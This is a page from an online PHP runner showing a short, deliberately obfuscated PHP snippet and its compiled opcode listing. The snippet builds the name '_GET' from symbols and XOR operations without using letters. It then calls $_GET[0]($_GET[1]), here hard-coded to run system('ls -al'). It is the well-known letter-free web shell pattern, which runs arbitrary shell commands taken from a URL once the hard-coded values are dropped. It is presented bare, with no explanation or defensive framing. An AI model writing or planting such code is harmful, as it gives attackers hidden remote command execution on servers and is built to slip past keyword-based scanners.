3v4l.org

run code in 300+ PHP versions simultaneously
<?php //TNG $_GET['0']='system'; $_GET['1']='ls -al'; @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/bhhNs
function name:  (null)
number of ops:  110
compiled vars:  !0 = $_, !1 = $__
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   FETCH_W                      global              $2      '_GET'
          1        ASSIGN_DIM                                               $2, 0
          2        OP_DATA                                                  'system'
    4     3        FETCH_W                      global              $4      '_GET'
          4        ASSIGN_DIM                                               $4, 1
          5        OP_DATA                                                  'ls+-al'
    6     6        BEGIN_SILENCE                                    ~6      
          7        BEGIN_SILENCE                                    ~8      
          8        FETCH_CONSTANT                                   ~9      '_'
          9        MUL                                              ~10     ~9, 1
         10        BOOL_NOT                                         ~11     ~10
         11        END_SILENCE                                              ~8
         12        ASSIGN_DIM                                               !0
         13        OP_DATA                                                  ~11
         14        END_SILENCE                                              ~6
         15        BEGIN_SILENCE                                    ~12     
         16        FETCH_CONSTANT                                   ~13     '_'
         17        FETCH_R                      local               ~14     ~13
         18        END_SILENCE                                              ~12
         19        SR                                               ~15     ~14, !0
         20        ASSIGN                                                   !1, ~15
         21        ASSIGN_DIM                                               !0
         22        OP_DATA                                                  !1
         23        BEGIN_SILENCE                                    ~19     
         24        FETCH_CONSTANT                                   ~20     '_'
         25        END_SILENCE                                              ~19
         26        ASSIGN_DIM                                               !0
         27        OP_DATA                                                  ~20
         28        PRE_INC                                          ~21     !1
         29        POST_INC                                         ~22     !1
         30        ADD                                              ~23     ~21, ~22
         31        ASSIGN_DIM_OP                .=               8          !0, ~23
         32        OP_DATA                                                  !0
    7    33        PRE_INC                                          ~26     !1
         34        ASSIGN_DIM                                               !0
         35        OP_DATA                                                  ~26
         36        PRE_DEC                                          ~28     !1
         37        SR                                               ~30     !1, !1
         38        FETCH_DIM_R                                      ~29     !0, ~28
         39        FETCH_DIM_R                                      ~31     ~29, ~30
         40        ASSIGN_DIM                                               !0
         41        OP_DATA                                                  ~31
         42        ADD                                              ~33     !1, !1
         43        SUB                                              ~34     !1, !1
         44        FETCH_DIM_R                                      ~35     !0, ~34
         45        ADD                                              ~36     ~33, ~35
         46        ADD                                              ~37     !1, !1
         47        ADD                                              ~38     ~37, !1
         48        SUB                                              ~39     !1, !1
         49        FETCH_DIM_R                                      ~40     !0, ~39
         50        ADD                                              ~41     ~38, ~40
         51        CONCAT                                           ~42     ~36, ~41
         52        ASSIGN_DIM_OP                .=               8          !0, !1
         53        OP_DATA                                                  ~42
    8    54        ADD                                              ~43     !1, !1
         55        SR                                               ~46     !1, !1
         56        FETCH_DIM_R                                      ~45     !0, !1
         57        FETCH_DIM_R                                      ~47     ~45, ~46
         58        FETCH_DIM_R                                      ~48     !0, !1
         59        FETCH_DIM_R                                      ~49     ~48, !1
         60        SL                                               ~51     !1, !1
         61        SUB                                              ~52     ~51, !1
         62        FETCH_DIM_R                                      ~50     !0, !1
         63        FETCH_DIM_R                                      ~53     ~50, ~52
         64        BW_XOR                                           ~54     ~49, ~53
         65        CONCAT                                           ~55     ~47, ~54
         66        ASSIGN_DIM                                               !0, ~43
         67        OP_DATA                                                  ~55
    9    68        ADD                                              ~56     !1, !1
         69        SL                                               ~59     !1, !1
         70        DIV                                              ~60     !1, !1
         71        SUB                                              ~61     ~59, ~60
         72        FETCH_DIM_R                                      ~58     !0, !1
         73        FETCH_DIM_R                                      ~62     ~58, ~61
         74        FETCH_DIM_R                                      ~63     !0, !1
         75        FETCH_DIM_R                                      ~64     ~63, !1
         76        BW_XOR                                           ~65     ~62, ~64
         77        ASSIGN_DIM_OP                .=               8          !0, ~56
         78        OP_DATA                                                  ~65
   10    79        ADD                                              ~66     !1, !1
         80        ADD                                              ~69     !1, !1
         81        FETCH_DIM_R                                      ~68     !0, !1
         82        FETCH_DIM_R                                      ~70     ~68, ~69
         83        SL                                               ~72     !1, !1
         84        SUB                                              ~73     ~72, !1
         85        FETCH_DIM_R                                      ~71     !0, !1
         86        FETCH_DIM_R                                      ~74     ~71, ~73
         87        BW_XOR                                           ~75     ~70, ~74
         88        ASSIGN_DIM_OP                .=               8          !0, ~66
         89        OP_DATA                                                  ~75
   12    90        ADD                                              ~77     !1, !1
         91        FETCH_R                      local               ~76     !0
         92        FETCH_DIM_R                                      ~78     ~76, ~77
   11    93        ASSIGN                                                   !0, ~78
   12    94        BEGIN_SILENCE                                    ~80     
         95        FETCH_CONSTANT                                   ~81     '_'
         96        MUL                                              ~82     ~81, -1
         97        END_SILENCE                                              ~80
         98        FETCH_DIM_R                                      ~83     !0, ~82
         99        INIT_DYNAMIC_CALL                                        ~83
        100        CHECK_FUNC_ARG                                           
        101        BEGIN_SILENCE                                    ~84     
        102        FETCH_CONSTANT                                   ~85     '_'
        103        MUL                                              ~86     ~85, 1
        104        BOOL_NOT                                         ~87     ~86
        105        END_SILENCE                                              ~84
        106        FETCH_DIM_FUNC_ARG                               $88     !0, ~87
        107        SEND_FUNC_ARG                                            $88
        108        DO_FCALL                                      0          
        109      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
172.65 ms | 1403 KiB | 13 Q